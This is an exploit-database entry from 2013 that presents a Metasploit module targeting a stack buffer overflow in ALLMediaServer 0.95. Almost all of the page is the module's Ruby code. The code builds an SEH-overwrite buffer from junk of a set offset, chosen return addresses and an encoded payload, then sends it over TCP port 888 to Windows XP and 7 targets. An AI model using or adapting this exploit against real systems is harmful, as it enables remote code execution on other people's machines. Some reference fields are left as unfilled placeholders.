ALLMediaServer 0.95 Buffer Overflow Vulnerability



EKU-ID: 3448 CVE: OSVDB-ID:
Author: metacom Published: 2013-08-26 Verified: Verified
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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
  
require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
  #Rank definition: http://dev.metasploit.com/redmine/projects/framework/wiki/Exploit_Ranking
  #ManualRanking/LowRanking/AverageRanking/NormalRanking/GoodRanking/GreatRanking/ExcellentRanking
  Rank = NormalRanking
  
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Seh
  
  def initialize(info = {})
    super(update_info(info,
      'Name'    => 'ALLMediaServer 0.95 Buffer Overflow Exploit',
      'Description'  => %q{
          This module exploits a stack buffer overflow in ALLMediaServer 0.95. The vulnerability
          is caused due to a boundary error within the handling of HTTP request.
      },
      'License'    => MSF_LICENSE,
      'Author'    =>
        [
          'metacom<metacom27[at]gmail.com>',  # Original discovery
          '<metacom>',  # MSF Module
          'Romanian Security Team - RST',
        ],
      'References'  =>
        [
          [ 'OSVDB', '<insert OSVDB number here>' ],
          [ 'CVE', 'insert CVE number here' ],
          [ 'URL', 'insert another link to the exploit/advisory here' ]
        ],
      'DefaultOptions' =>
        {
          'ExitFunction' => 'process', #none/process/thread/seh
          #'InitialAutoRunScript' => 'migrate -f',
        },
      'Platform'  => 'win',
      'Payload'  =>
        {
          'BadChars' => "\x00", # <change if needed>
          'DisableNops' => true,
        },
  
      'Targets'    =>
        [
          [ 'ALLMediaServer 0.95 / Windows XP SP3 / Windows 7 SP1',
            {
              'Ret'     =>  0x0042173c, # pop eax # pop ebx # ret  - MediaServer.exe
              'Offset'  =>  1065
            }
          ],
          
          
      [ 'ALLMediaServer 0.95 / Windows XP SP3', # Windows XP SP3 - English'
       {
        'Ret'     =>  0x006f0854, # pop ecx # pop ebp # ret  - MediaServer.exe
        'Offset'  =>  1065
       }
      ],
    ],
      'Privileged'  => false,
      #Correct Date Format: "M D Y"
      #Month format: Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec
      'DisclosureDate'  => 'Aug 21 2013',
      'DefaultTarget'  => 0))
  
    register_options([Opt::RPORT(888)], self.class)
  
  end
  
  def exploit
  
  
    connect
    buffer = "http://"
    buffer << rand_text(target['Offset'])  #junk
    buffer << generate_seh_record(target.ret)
    buffer << payload.encoded  #3931 bytes of space
    # more junk may be needed to trigger the exception
  
    print_status("Sending payload to ALLMediaServer on #{target.name}...")
    sock.put(buffer)
  
    handler
    disconnect
  
  end
end